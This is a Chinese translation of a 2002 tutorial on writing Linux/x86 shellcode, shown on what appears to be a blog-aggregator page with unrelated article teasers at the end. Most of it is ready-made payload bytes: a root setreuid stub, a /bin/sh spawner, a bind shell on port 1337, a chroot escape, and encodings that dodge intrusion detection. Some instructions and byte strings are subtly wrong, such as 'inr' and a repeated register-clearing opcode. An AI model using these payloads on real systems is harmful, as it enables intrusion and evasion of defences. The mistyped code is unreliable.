【原理】UNF && pr1 present: Writing Linux/x86 shellcodes for dum dums.

WebDav漏洞简单分析及通用exploit设计 WebDav漏洞简单分析及通用exploit设计    拜读了isno写的>、>,以及Nankia写的>之后,用他们发布的exploit、以及能在网上找到的exploit在我的一些测试机上测试,有些成功,有些不成功。于是便想自己调试一下。在后来的调试过程中,参考了大量资料,特别是yuange所写的>。在这过程中我学到了很多东西,自己也有些心得体会,其中可能有不少错误的地方,于是便想写下来,一来请各 阅读详情

UNF && pr1 present: Writing Linux/x86 shellcodes for dum dums.


创建时间:2002-08-15
文章属性:翻译
文章提交: 1cbm (edp_at_mail.victoriagrandhotel.com)

UNF && pr1 present: Writing Linux/x86 shellcodes for dum dums.

=============================================
作者 : pr1 ( pr10n@u-n-f.com )
翻译 : ICBM@cmmail.com
非常感谢keji指出并改正了原文和翻译中出现的错误,Sank u !
http://www.airarms.org
http://icbm.n3.net
=============================================


-----------------------------------------------------------------------------------------------
Copyright (c) February 2002, Sebastian Hegenbart (a.k.a pr1) and UNF (United Net Frontier)
The following material is property of UNF && pr1.
Do not redistribute this article modified and give proper credit to UNF and pr1 if you
redistribute it or if you write your own article based upon the following material.
-----------------------------------------------------------------------------------------------

1.介绍

在网上并没有几篇好文章介绍怎样编写shellcode,而且很不幸,阅读它们需要有很丰富的汇编知识,所以在这篇文章里我会给大家介绍Linux/x86汇编知识,并且讲解怎么为Linux/x86书写shellcode。但是,这篇文章中对于ASM的介绍并不完整,我只是讲到一些在对于编写shellcode方面很重要的部分。我会很好的解释文章里出现过的代码,但是任何东西都代替不了一本好的ASM书籍和一个反编译器。:)

1.2. shellcode是什么

简单地说shellcode就是一组CPU指令。为什么叫做shellcode呢?是因为第一个shellcode只是简单的获得一个shell。实际上这种功能已经非常原始了:)。因为已经有了远程的shellcode(有UDP也有TCP),破坏chroot的shellcode,给文件加一行信息的shellcode,setreuid的shellcode等等...因为每个人都这样叫它shellcode所以我会在全文中使用shellcode一词。

1.3. 我们用shellcode来做什么?

在我们接管了一个进程(希望是root运行的 suid|sgid|deamon)以后,我们通常会让它做一些有用的事情。这里有很多技术像return into libc,GOT overwrite addys,PLT infection,exploiting .dtors ... 如果你不能执行其它函数来完成你需要的任务(像重写函数指针, ...)你就可能需要使用到shellcode。或许只是简单的用某些缓冲地址来改写%eip,然后向后跳到一组NOPS指令中,你的CPU会从已经被改写过的%eip中向前取址.当你已经编好了一个漏洞攻击程序,在你的输入缓冲区中填入shellcode当%eip指向到shellcode的开始处,它就会被运行.这样你就赢了!

1.4 我要怎么写shellcode

好了,现在让我们进行这篇文章的主要部分.我现在假设你至少有一定的c语言知识.

=-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=
2.汇编

ASM是一种低级编程语言。它甚至可以设定你CPU中的晶体管状态.一个IA-32 CPU有很多寄存器,访问这些寄存器要比直接访问内存快得多。你可以通过给寄存器赋值来告诉你的程序要做什么。最重要的寄存器有:%eax,%ebx,%ecx,%edx,%esp,%esi,%eip,%edi。所有32位CPU的寄存器都是4字节长。你可能认为这些寄存器的名字取得没有一点创意,但你错了:

# %eax 是累加器。当有系统调用发生时内核会检查%eax中的值,这个值会被用作系统调用号(每个内核提供的系统调用都有它自己的系统调用号).你可以在/usr/include/asm/unistd.h中具体查找这些系统调用号。

# %ebx 是基址寄存器.我们传递给函数的第一个参数就被放在这个寄存器里面.

# %ecx 第二个参数.

# %edx 第三个参数.

# %esp 是堆栈指针寄存器,它指向当前堆栈储存区域的顶部.

# %ebp 是基址寄存器,它指向当前堆栈储存区域的底部.

# %eip 是指令指针(在缓冲区溢出中对我们最有用的寄存器)

# %esi and %edi是段寄存器(用它们可以在你的shellcode里存储用户数据)(译者:原文为%eip and %edi)


2.1 修改寄存器:

有很多命令可以用来修改寄存器.你可以通过给一条指令增加后缀来修改一个字节,一个字或者整个寄存器.

例如:movl,movb,movw (long,byte,word)


# mov ...mov指令用来把某值传送到一个寄存器中(数字或者另一个寄存器的内容...).在AT&T语法中(我会在整篇文章中使用这种语法)目标操作数在右边,原操作数在左边.

# inc,dec ...增加或者减少寄存器的值.

# xor ... 这是位运算操作(包括 not,or,and,xor和neg).

在处理shellcode时xor扮演了一个很特殊的角色.
在这里解释一下xor的基本操作:

1异或0为:1,0和0为:0,1和1为:0,因此 xor 4,4是0(100 xor 100 ==000);

#leal ...(表示读取一个long型的有效地址)你可以使用这个指令把一段内存的地址读取到寄存器中.

# int $0x80这是一个中断.简单地说是用来切换到内核模式然后让内核执行我们的函数.

# push,pop ...在堆栈上读取存储数据.

注意:你可以访问一个寄存器低端字中的高字节或者低字节(%al,%ah),一个寄存器中的低端字或者整个(扩展)寄存器(%eax).但是没有方法访问一个寄存器的高端字.
寄存器可以以字节方式(%al,%bh,...),字方式(%ax,%bx,...)和整个方式(%eax,%ebx,...)访问.


预备了这些知识后我可以写一些asm代码然后再写一些shellcode.


让我们用一个Hello, world开始:) (这是没有办法来代替的)

.data
message:
.string "Hello, world/n"

.globl main
main:

# write(int fd,char *message,ssize_t size);

movl $0x4,%eax # 把/usr/include/asm/unistd.h里定义的系统调用4放到%eax中
movl $0x1,%ebx # 标准输出文件描述符(stdout)
movl $message,%ecx # 把message的地址放到%ecx中
movl $0xc,%edx # message的长度

#exit(int returncode);

movl $0x1,%eax # 系统调用号1
xorl %ebx,%ebx # %ebx置零
inr $0x80

注意:这一段代码应为两个原因不能作为shellcode:
1. 不是绝对地址(因为定义了一个数据段)
2. 因为字符串中包含零字符会中断对于字符串的一般操作.


别着急!现在我就会解释制作shellcode的整个过程 ;)


=-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=

3. 书写shellcode


3.1 Setreuid shellcode:

我们先从setreuid(0,0)这个小而简单的shellcode开始.
如果程序在有漏洞的函数执行前去掉了特权(通常使用一个seteuid(getuid()) ),我们就需要一个setreuid或者一个seteuid shellcode.


C代码看起来可能是这个样子:

#include <stdio.h>

main(void) {

setreuid(0,0);
exit(0);
}


080483b0 <main>:
80483b0: b8 46 00 00 00 movl $0x46,%eax
80483b5: bb 00 00 00 00 movl $0x0,%ebx
80483ba: b9 00 00 00 00 movl $0x0,%ecx
80483bf: cd 80 int $0x80
80483c1: 8d 76 00 lea 0x0(%esi),%esi
80483c4: 90 nop
80483c5: 90 nop
80483c6: 90 nop
80483c7: 90 nop
80483c8: 90 nop
80483c9: 90 nop
80483ca: 90 nop
80483cb: 90 nop
80483cc: 90 nop
80483cd: 90 nop
80483ce: 90 nop
80483cf: 90 nop


这就是由我们的编译器生成的整个主函数.但是我们只需要setreuid段:


80483b0: b8 46 00 00 00 movl $0x46,%eax
80483b5: bb 00 00 00 00 movl $0x0,%ebx
80483ba: b9 00 00 00 00 movl $0x0,%ecx
80483bf: cd 80 int $0x80


因此setreuid shellcode就是这样:

"/xb8/x46/x00/x00/x00"
"/xbb/x00/x00/x00/x00"
"/xb9/x00/x00/x00/x00"
"/xcd/x80"



如果你把上面这个shellcode整个看了一遍,你可能会注意到其中的NULL字节(/x00)比指令还多。但不幸的是我们不能在shellcode中使用任何NULL。因为通常我们要溢出的是c程序,但是在c语言中没有字符串数据类型。而是使用一个字节长的指针(char *)指向内存中的一个字节,一个NULL出现在字符串的结尾。像strcpy,strcat这样的操作字符串的函数但遇到第一个NULL时会停止拷贝,以为它们认为NULL就是字符串的结尾。

因此但我们溢出一个程序时,只有"/xb8/x46/"会被从我们的setreuid shellcode 中拷贝出来。


现在我们所要做的就是重写我们的汇编代码使我们的shellcode中没有NULL字节。就像你看到的这是包含NULL的函数:


80483b0: b8 46 00 00 00 movl $0x46,%eax
80483b5: bb 00 00 00 00 movl $0x0,%ebx
80483ba: b9 00 00 00 00 movl $0x0,%ecx


我们必须找到等同的不产生NULL字节的指令:

80483b0: b8 46 00 00 00 movl $0x46,%eax

这个指令被编码成[opcode|destination][4 byte immediate value]。因为我们的立即数只是0x46而操作类型long中的其它字节就没有被使用到。

我们可以写成:

80483c6: 31 c0 xorl %eax,%eax
80483c8: b0 46 movb $0x46,%al

xorl使%eax清零,因为当我们改变低8位的时候我们不能确定%eax是否为空。如果我们没有把寄存器清零当%ah中有其它数值的话内核可能会执行错误的系统调用。movb指令被编码成[opcode|register][1 byte immediate value]格式,所以我们可以在一字节里使用到最大数255。



以下是逻辑上相等的但没有NULL的setreuid代码:


80483b0: 31 c0 xorl %eax,%eax
80483b2: 31 db xorl %ebx,%ebx
80483b4: 31 c9 xorl %ecx,%ecx
80483b6: b0 46 movb $0x46,%al
80483b8: cd 80 int $0x80


这是我们可以工作的shellcode:

"/x31/xc0"
"/x31/xdb"
"/x31/xdb"
"/xb0/x46"
"/xcd/x80"

除了没有NULL之外,一个好的shellcode应该尽可能小。shellcode越小可以放入缓存中的NOPs就越多,因此增加了猜中正确返回地址的机会。


3.2 Making your shellcode portable:

你可能不会知道远程系统太多的信息。或者你没有足够的权限来找出远程系统上的信息。或者你甚至还没有访问远程系统的权限。这样一些原因不要让你写出shellcode只能适用于一种系统。因此在写shellcode时不要使用绝对地址,你需要的数据刚好在正确的地址的机会很小。通常写shellcode时要使用相对地址。

e.g:我们不会写成:jmp 0x80483b8而我们写成:jmp $0x1a


3.3 获得shell的shellcode:


用c获得一个shell是这样的:

#include <stdio.h>

main(void) {
char *name[2];

name[0]="/bin/sh";
name[1]=NULL;

execve(name[0],name,NULL);
}


就像你所看到的,我们需要一个字符串( "/bin/sh" )让execve知道我们想要运行什么。但是我们必须找到引用"/bin/sh"的相对地址。



如果你了解一些关于Intel构架和通用CPU构架的知识,你就可能会知道要被执行的下一条指令的内存地址被存放在%eip中通常被叫做pc或者program counter。如果程序调用了一个子函数,子函数返回后将要执行的指令的地址一定会被存储到某个地方。

相关于一些Risc CPU这个地址可以像这样被存储的寄存器种:

jal addy,reg /* 跳转到addy然后把pc+4存储到reg */
jr reg /* 我们的子函数返回跳转到存储在reg中的addy */


对于我们的Intel Cisc:

call sub_func /* 跳到子函数然后把%eip+4压入堆栈 */
ret /* 函数跳回到堆栈上存储的地址 */


我们可以说下一条指令的地址被call压入堆栈中。

因此我们可以使用一个小窍门:

call some_offset /* 调用被压入堆栈的"/bin/sh" ( pc+4 )的地址 */
.string "/bin/sh"


注意到字符串"/bin/sh"位于.text ( 或者code )段。CPU不应该执行这段代码:"/bin/sh"(2f62696e2f7368)因为它只是我们需要的字符串,所以我们应该让CPU跳过执行这段代码。

让我们来看一个得到这个字符串"/bin/sh"的地址,并且能够避免执行这段代码"/bin/sh"(2f62696e2f7368)的完整的例子。

.globl main
main:

jmp to_call
after_jmp:

popl %esi /* 地址现在已经在%esi里了 */

/* 退出 */
xorl %eax,%eax
incl %eax
int $0x80

to_call:
call after_jmp (译者:原文为call offset)
.string "/bin/sh"


我们跳到call让它工作,然后返回,从堆栈pop出地址然后退出。

static char lnx_execve[]=

"/xeb/x1d" // jmp 0x1d /* 得到 "/bin/sh" 地址 */
"/x5b" // popl %ebx /* 出栈 "/bin/sh" 的地址 */
"/x31/xc0" // xorl %eax,%eax
"/x89/x5b/x08" // movl %ebx,0x8(%ebx) /* 把地址拷贝到 %ebx+0x8 */
"/x88/x43/x07" // movb %al,0x7(%ebx) /* 用NULL做字符串的结束符 */
"/x89/x43/x0c" // movl %eax,0xc(%ebx) /* 用NULL做参数的结束符 */
"/x8d/x4b/x08" // leal 0x8(%ebx),%ecx /* 把"/bin/sh的地址读到 %ecx */
"/x8d/x53/x0c" // leal 0xc(%ebx),%edx /* 把NULL读到 %edx */
"/xb0/x0b" // movb $0xb,%al /* 执行系统调用 */
"/xcd/x80" // int $0x80
"/x31/xc0" // xorl %eax,%eax /* 然后退出避免无限循环 */
"/x21/xd8" // andl %ebx,%eax
"/x40" // incl %eax
"/xcd/x80" // int $0x80
"/xe8/xde/xff/xff/xff" // call -0xde
"/bin/sh";


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

4.0 更高级的Shellcodes:


顾及到远程溢出我们需要其它种类的shellcode。我们不能只从远程获得一个shell。因此我们的shellcode需要网络能力。绑定一个shell到一个端口我们可以这样写:



#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>


main(void) {
char *exec[2];
int fd,fd2;
struct sockaddr_in addy;


addy.sin_addr.s_addr = INADDR_ANY;
addy.sin_port = htons(1337);
addy.sin_family = AF_INET;

exec[0]="/bin/sh";
exec[1]="sh";

fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

bind(fd,&addy,sizeof(struct sockaddr_in));
listen(fd,1);


fd2 = accept(fd,NULL,0);

dup2(fd2,0);
dup2(fd2,1);
dup2(fd2,2);

execl(exec[0],exec,NULL);
}



对c语言来说这是一个非常简单的工作。现在我们用汇编语言尝试同样的东西。


4.1. Socket 系统调用

通常系统调用数被放到%eax中然后将其它的参数放入后面的寄存器中。在使用内核中断后我们的工作就被完成了。函数退出时的参数会多于存放你的参数的寄存器数,因此只是简单的把你的参数存放到用户内存区域然后再把它地址存到一个寄存器中。

涉及到socket系统调用( socket, bind, listen, accept,... )这就有点不同了。每一个socket调用都是用系统调用数0x66。所以内核是怎么知道使用那一个系统调用呢?这是通过使用存放在%ebx中的一个子码来实现的。


一些重要的的子码:

socket() 1
bind() 2
listen() 4
accept() 5

请查看<linux/net.h>。

4.2. Sockaddr_in的数据结构:

我们还得看看Sockaddr_in的数据结构:

struct sockaddr_in {

uint8_t sin_len; /* 数据结构的长度,在这里对于AF_INET(ipv4)是0x10。2 字节 */

sa_family_t sin_family; /* 2字节包含AF_INET(定义为2)*/

in_port_t sin_port; /* 2字节的TCP或者UDP端口数 */

struct in_addr sin_addr /* 4 字节,通常包含服务器地址但是我们想帮定我们自己的地址一次让它为0(对于INADDR_ANY同样) */
char sin_zero[8]; /* 也应该为0 */
};



4.3.端口绑定 shellcode:


static char bind[]=

/* socket(int domain, int type, int protocol); */

"/x31/xc0" // xorl %eax,%eax
"/x89/x46/x10" // movl %eax, 0x10(%esi) /* 第三个参数IPPROTO_TCP */
"/x40" // incl %eax
"/x89/xc3" // movl %eax, %ebx
"/x89/x46/x0c" // movl %eax, 0xc(%esi) /* 第二个参数SOCK_STREAM */
"/x40" // incl %eax
"/x89/x46/x08" // movl %eax, 0x8(%esi) /* 第一个参数AF_INET */
"/x8d/x4e/x08" // leal 0x8(%esi), %ecx
"/xb0/x66" // movb $0x66, %al
"/xcd/x80" // int $0x80

/* listen(int fd, int backlog); */

"/x43" // incl %ebx
"/x88/x46/x04" // movb %al,0x4(%esi) /* 保存从socket返回的fd */
"/x31/xc0" // xorl %eax,%eax
"/xc6/x46/x0c/x10" // movb $0x10,0xc(%esi) /* sockaddr_in的长度 */
"/x66/x89/x5e/x10" // movb %bx,0x10(%esi) /* AF_INET */
"/x89/x46/x14" // movl %eax,0x14(%esi) /* INADDR_ANY */
"/x89/xc2" // movl %eax,%edx
"/xb0/x90" // movw $0x90,%al /* sin_port */
"/x66/x89/x46/x12" // movb %ax,0x12(%esi)
"/x8d/x4e/x10" // leal 0x10(%esi),%ecx
"/x89/x4e/x08" // movl %ecx,0x8(%esi) /* 把struct保存到offset 0x8 */
"/x8d/x4e/x04" // leal 0x4(%esi),%ecx /* 把struct和fd保存到%ecx */
"/xb0/x66" // movb $0x66,%al
"/xcd/x80" // int $0x80

/* bind(int fd, struct sockaddr_in *my_addy, socklen_t addrlen); */

"/x89/x5e/x08" // movl %ebx,0x8(%esi)
"/x43" // incl %ebx
"/x43" // incl %ebx
"/xb0/x66" // movb $0x66,%al
"/xcd/x80" // int $0x80

/* accept(int fd, struct sockaddr_in *addy, socklen_t *addrlen); */

"/x89/x56/x08" // movl %edx,0x8(%esi) /* addy为指向NULL的指针 */
"/x89/x56/x0c" // movl %edx,0xc(%esi) /* addrlen也是指向NULL的指针 */
"/x43" // incl %ebx
"/xb0/x66" // movb $0x66,%al
"/xcd/x80" // int $0x80

/* dup2(int old, int new) */

"/x86/xc3" // xchg %al,%bl /* 从accept返回的fd是第一个参数 */
"/x31/xc9" // xorl %ecx,%ecx /* stdin */
"/xb0/x3f" // movb $0x3f,%al
"/xcd/x80" // int $0x80

"/x41" // incl %ecx /* stdout */
"/xb0/x3f" // movb $0x3f,%al
"/xcd/x80" // int $0x80

"/x41" // incl %ecx /* stderr */
"/xb0/x3f" // movb $0x3f,%al
"/xcd/x80" // int $0x80


/* execve(cons char *filename, char *const argv[], char *const envp[]); */

"/xeb/x1d" // jmp 0x1d /* 获得"/bin/sh"的地址 */
"/x5b" // popl %ebx /* "/bin/sh"的地址出栈 */
"/x31/xc0" // xorl %eax,%eax
"/x89/x5b/x08" // movl %ebx,0x8(%ebx) /* 拷贝地址到%ebx+0x8 */
"/x88/x43/x07" // movb %al,0x7(%ebx) /* 中断字符串的NULL */
"/x89/x43/x0c" // movl %eax,0xc(%ebx) /* 中断参数的NULL */
"/x8d/x4b/x08" // leal 0x8(%ebx),%ecx /* 把"/bin/sh"的地址放入%ecx */
"/x8d/x53/x0c" // leal 0xc(%ebx),%edx
"/xb0/x0b" // movb $0xb,%al /* execve系统调用 */
"/xcd/x80" // int $0x80
"/x31/xc0" // xorl %eax,%eax
"/x21/xd8" // andl %ebx,%eax
"/x40" // incl %eax
"/xcd/x80" // int $0x80
"/xe8/xde/xff/xff/xff" // call -0xde
"/bin/sh";



注意: 这个shellcode还没有被完全优化,所以看起来有些臃肿.在execve部分它可以被进一步优化( 它是我们原始的execve代码)。为了更适合阅读所以我没有完全优化它,因为我们的目的只是展示怎样去写一个绑定端口的shellcode.


=-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-=
5. Chroot breaking shellcode:

注意: 在linux内核2.4.6到2.4.13之间chroot被改变了。所以这个方法只工作在kernels
<= 2.4.5。

有时有些守护进程像ftps,httpd,...运行在所谓的change-root陷阱中。
这就意味着你的home文件夹被改变到path = "/"里,因此你的homedir是/(注意这并不是真正的根目录)你不能执行cd .. 。也不能获得一个shell因为/home/pr1/bin/sh并不真是存在(如果我们假设/home/pr1被设置成根目录)。对于计算安全来说很不幸,你可以跳出这个限制。

这是一个非常简单的任务:

* 建立一个其它文件夹
* chroot到这个文件夹
* 使用chroot("../../../");


这是我们跳出chroot限制的c程序:

#include <unistd.h>

main(void) {
mkdir("pr1",0755);
chroot("pr1");
chroot("../../../../../../../../../../");
}


Note: 我们用汇编建立一个名叫sh的文件夹. 我们可以使用我们要执行的shell的字符串来作为文件夹名. 这样我们可以缩减并且简化我们的代码. :)


static char chroot[]=
"/xeb/x4e" // jmp 0x4e

/* mkdir(); */
"/x31/xc0" // xorl %eax,%eax
"/x5e" // popl %esi /* 现在/bin/sh的地址在%esi里 */
"/x8d/x5e/x05" // leal 0x5(%esi),%ebx /* sh的地址到%ebx里 */
"/x66/xb9/xed/x01" // movw $0x1ed,%cx /* 0755 mode flag */
"/xb0/x27" // movb $0x27,%al /* 系统调用mkdir */
"/xcd/x80" // int $0x80

/* chroot(); */
"/x31/xc0" // xorl %eax,%eax
"/xb0/x3d" // movb $0x3d,%al /* 系统调用chroot,sh还在%ebx里 */
"/xcd/x80" // int $0x80

/* chroot("../"); */
"/x31/xc0" // xorl %eax,%eax
"/xbb/xd2/xd1/xd1/xff" // movl $0xffd0d1d1,%ebx
"/xf7/xdb" // negl %ebx

/* We put "../" into %ebx.
* "../" encodes into "/x2e/x2e/x2f" intel is little endian and we thus have to put
* "/x2f/x2e/x2e" into the register. Thus we put 0xffd0d1d1 into %ebx and perform a not
* on this value. This results in our wished "/x2f/x2e/x2e".
*/


"/x31/xc9" // xorl %ecx,%ecx
"/xb1/x10" // movb $0x10,%cl /* 循环16次 */
"/x56" // pushl %esi /* 保存字符串"/bin/sh" */

/* 定义段寄存器。从0x10(%esi)开始 */

"/x01/xce" // addl %ecx,%esi

"/x89/x1e" // movl %ebx,(%esi) /* 写入到esi指向的地址中 */
"/x83/xc6/x03" // addl %0x3,%esi /* 累加段寄存器 */
"/xe0/xf9" // loopne -0x7
"/x5e" // popl %esi /* 字符串"/bin/sh"出栈 */
"/xb0/x3d" // movb $0x3d,%al /* 系统调用chroot */
"/x8d/x5e/x10" // leal 0x10(%esi),%ebx /* 这就是我们的../../..字符串 */
"/xcd/x80" // int $0x80

/* execve */
"/x31/xc0" // xorl %eax,%eax
"/x89/x76/x08" // movl %esi,0x8(%esi)
"/x89/x46/x0c" // movl %eax,0xc(%esi)
"/xb0/x0b" // movb $0xb,%al
"/x89/xf3" // movl %esi,%ebx
"/x8d/x4e/x08" // leal 0x8(%esi),%ecx
"/x8d/x56/x0c" // leal 0xc(%esi),%edx
"/xcd/x80" // int $0x80

/* exit */
"/x31/xc0" // xorl %eax,%eax
"/x21/xd8" // andl %ebx,%eax
"/x40" // incl %eax
"/xcd/x80" // int $0x80
"/xe8/xad/xff/xff/xff" // call -0xad
"/bin/sh";


注意: 这个技巧不是来自于TaeHo的chroot shellcode.


=-=-=-=-=-=-==-=-=-=-=-=-==-=-=-=-=-=-==-=-=-=-=-=-==-=-=-=-=-=-==-=-=-=-=-=-==-=-=-=-=-=-=
6. IDS-evasive Codes:

一些入侵监测系统通过计算收到的数据包中的NOP或类似于NOP的指令来检测是否为有害代码。 (如果你不知道NOP是什么:它是一条什么任务都不做的指令,在攻击代码中被用来获得最大的猜中正确buffer地址的机会。如果你执行到一个NOP,代码就会继续执行直到遇到你的shellcode。)

然而这种技术可以被骗过:


第一种方法是使用1 byte jump:
把/x90 ( nop )替换为"/xeb/x01" ( jmp 0x1 )


另一种方法是使用其它NOP类似的指令比如:
incl %eax,incl %ebx,incl %ecx,incl %edx:

编码为: /x40,/x43,/x41,/x42
你当然也可以把它们混合起来使用。


另外一种很好的方法:
movl $0x41414141,%eax

编码为: /xb8/x41/x41/x41/x41
假设你执行到了一个/x41 ->cpu会执行incl %ecx直到碰到/xb8后%eax会被写入0x41414141。

你可以把它和下面的指令混合起来使用:
movl $0x43434343,%ebx

编码为: /xbb/x43/x43/x43/x43 会有相同结果。




6.1. Hiding the "/bin/sh" string:

另一种检测攻击代码的方法是查找像"/bin/sh"一类的字符串。写一个
把所有小写子母转换成大写子母的程序。


#include <stdio.h>

main(int argc,char *argv[]) {

char buf[512];
int i;

for(i=0;i<strlen(argv[1]);i++) {
argv[1][i] = toupper( argv[1][i] );
}
printf("%s/n",argv[1]);
}


我们普通的shell spawning shellcode为:

"/xeb/x1d" // jmp 0x1d
"/x5b" // popl %ebx
"/x31/xc0" // xorl %eax,%eax
"/x89/x5b/x08" // movl %ebx,0x8(%ebx)
"/x88/x43/x07" // movb %al,0x7(%ebx)
"/x89/x43/x0c" // movl %eax,0xc(%ebx)
"/x8d/x4b/x08" // leal 0x8(%ebx),%ecx
"/x8d/x53/x0c" // leal 0xc(%ebx),%edx
"/xb0/x0b" // movb $0xb,%al
"/xcd/x80" // int $0x80
"/x31/xc0" // xorl %eax,%eax
"/x21/xd8" // andl %ebx,%eax
"/x40" // incl %eax
"/xcd/x80" // int $0x80
"/xe8/xde/xff/xff/xff" // call -0xde
"/bin/sh";


小写字母在 /x61 (a) 到 /x7a (z)之间。

除了字符串"/bin/sh"我们的shellcode不包含任何小写字母。
把字符串"/bin/sh"写成十六进制:/x2f/x62/x69/x6e/x2f/x73/x68
如果我们把字符串里所有的字母都减去20就会得到:
"/x2f/x42/x49/x4e/x2f/x53/x48"。但是我们通过给它们加上$0x20改变这个值,要不我们就会执行 "/x2f/x42/x49/x4e/x2f/x53/x28" 而不是"/bin/sh".因为"/"不是字母所以我们可以不用管它。


static char hide[]=
"/xeb/x31" // jmp 0x31
"/x5b" // popl %ebx
"/x80/x43/x01/x20" // addb $0x20,0x1(%ebx) <- we simply add 0x20 to our string
"/x80/x43/x02/x20" // addb $0x20,0x2(%ebx)
"/x80/x43/x03/x20" // addb $0x20,0x3(%ebx)
"/x80/x43/x05/x20" // addb $0x20,0x5(%ebx)
"/x80/x43/x06/x20" // addb $0x20,0x6(%ebx)
"/x31/xc0" // xorl %eax,%eax
"/x89/x5b/x08" // movl %ebx,0x8(%ebx)
"/x88/x43/x07" // movb %al,0x7(%ebx)
"/x89/x43/x0c" // movl %eax,0xc(%ebx)
"/x8d/x4b/x08" // leal 0x8(%ebx),%ecx
"/x8d/x53/x0c" // leal 0xc(%ebx),%edx
"/xb0/x0b" // movb $0xb,%al
"/xcd/x80" // int $0x80
"/x31/xc0" // xorl %eax,%eax
"/x21/xd8" // andl %ebx,%eax
"/x40" // incl %eax
"/xcd/x80" // int $0x80
"/xe8/xca/xff/xff/xff" // call -0xca
"/x2f/x42/x49/x4e/x2f/x53/x48"; // 隐藏的字符串/bin/sh


如果在你的shellcode里有包含任何小写字母的指令,可以把这个指令减去其它逻辑相等的.


=-=-=-=-=-==-=-=-=-=-==-=-=-=-=-==-=-=-=-=-==-=-=-=-=-==-=-=-=-=-==-=-=-=-=-==-=-=-=-=-=-=
7. Post word:

拥有了这些知识后你现在可以写出自己的shellcode了。我希望你能在这篇文章中找到阅读的乐趣,如果浪费了你的时间我感到很抱歉。
如果有什么意见可以mail我: <pr10n@u-n-f.com>


Written by pr1 ( pr10n@u-n-f.com ).


greets to: teso, usf and thc

-----------------------------------------------------------------------------------------------
/x00
-----------------------------------------------------------------------------------------------
华为海思IC设计岗位笔试全解析:物理、电路与工艺三大方向备考指南 本文全面解析华为海思IC设计岗位笔试的物理、电路与工艺三大方向备考要点。针对物理设计方向,重点讲解半导体能带理论、载流子输运机制等核心考点;电路设计方向涵盖Verilog语法、UVM验证等关键技术;工艺方向则深入探讨FinFET工艺、光刻技术等前沿知识。提供高效备考策略和应试技巧,助力考生提升通过率。 阅读详情

相关推荐

Unity AssetBundle 之 (入门)简单的资源打包成AB包的方法

Unity AssetBundle 之 (入门)简单的资源打包成AB包的方法 目录 Unity AssetBundle 之 (入门)简单的资源打包成AB包的方法 一、简单介绍 二、实现原理 三、注意事项 四、效果预览 五、实现步骤 六、关键代码 一、简单介绍 Unity中的一些基础知识点。 本节介绍,Asset Bundle 在 Unity中的使用,入门第一篇,如何AssetBundle标记,如何打包成AssetBundle的操作方法,有不对的地方欢迎指正。...

仙魁XAN 1万+

主流操作系统安全——理解Linux系统下缓冲区溢出机制

1、实验目的 理解Linux系统下缓冲区溢出机制 2、实验要求 (1)     通过认真学习缓冲区溢出原理,明确实验目的、原理、方法以及注意事项等。(2)     实验过程中必须认真严肃,并认真学习和记录实验数据,从而进行科学分析。(3)     独立认真完成实验报告,语言简练、表达清晰,适当情况下增加相应的画图信息。3、实验内容 a)  根据附件程序attack.c画出堆栈结构图b)   构...

verastart的博客 964

物联网开发131 - Micropython ESP32 C3连接TB6600驱动42BYGH39步进电机

如何使用合宙ESP32 C3连接TB6600驱动42BYGH39步进电机,实现控制步进电机正反转和旋转指定角度等

zhusongziye的博客 2377

FreeXploiT 成立三年感言!

 04年成立的,和一个朋友,现在那个朋友不知所踪了(他叫菜菜,很早就玩汇编了)后来的两年基本是我一个人更新里面的blog我这个算是最早的安全聚合blog吧? 暗礁的也挺早 不过是团队形式的 鬼仔的05年 neeao的04.10.26我的04.10.15那时候就是想弄点资料自己收藏着看看 ,当然也有很长远的目标 就是想做一个网站 先拿blog练练手一练就是三年啊 哈。。blo

FreeXploiT 8491

Android 12 HAL开发避坑实录:手把手教你用AIDL在Native层实现一个可开机自启动的Service

本文详细介绍了在Android 12 HAL开发中,如何通过AIDL在Native层实现一个可开机自启动的Service。从环境准备、AIDL接口定义、服务实现到VINTF集成与SELinux策略配置,提供了完整的实战指南,帮助开发者避开常见陷阱,提升开发效率。

weixin_28314575的博客 322

利用OrthoFinder做泛基因家族聚类分析

这条命令会将 Arabidopsis_thaliana.TAIR10.59_longest_trans.pep.fa 文件中的所有序列ID,去掉ID中的空格后面的部分,只保留 > 后第一个空格之前的基因ID,并将结果保存在 An1.fasta 文件中。muscle 是一种常用的多序列比对工具,用于基因组或蛋白质序列的比对。基因家族(Gene family),是来源于同一个祖先,由一个基因通过基因重复而产生两个或更多的拷贝而构成的一组基因,它们在结构和功能上具有明显的相似性,编码相似的蛋白质产物。

qq_64400864的博客 2756

Metasploit Framework all part 1-3

Metasploit Framework, Part 1 Pukhraj Singh, K.K. Mookhey 2004-07-12 <!--This article provides an elaborate insight into the Open Source exploit framework, the Metasploit Fra

FreeXploiT 7212

小梅哥Xilinx ZYNQ学习笔记2——38译码器

译码器(Decoder)是一种多输入多输出的组合逻辑电路,负责将二进制代码翻译为特定的对象(如逻辑电平等),功能与编码器相反。译码器一般分为通用译码器和数字显示译码器两大类。本设计的是通用译码器。三八译码器,即是 3 种输入状态翻译成 8 种输出状态。1.case开始开始,endcase结束;2.数字声明时,合法的基数格式有 4 中,包括:十进制('d 或 'D),十六进制('h 或 'H),二进制('b 或 'B),八进制('o 或 'O)。数值可指明位宽,也可不指明位宽。

m0_51430584的博客 1636

强大溢出工具包:Metasploit命令行下的使用 (转至77169)

Metasploit 是个好东西,实在想不到别的办法了,或许这东西能帮你一下,Metasploit包含了众多exploit,说不准还能用上几个,搞几台好肉鸡.下载Metasploit双击进行安装,非常简单,一路回车就行了。安装完之后看下安装目录下的Msfconsole.bat和msfweb.bat,第一个是命令下的控制台。第二个是图形界面下的程序。现在我们先来看下命令行下的使用方法,运行后我们看到

FreeXploiT 7174

主成分分析(Principal Component Analysis,PCA)

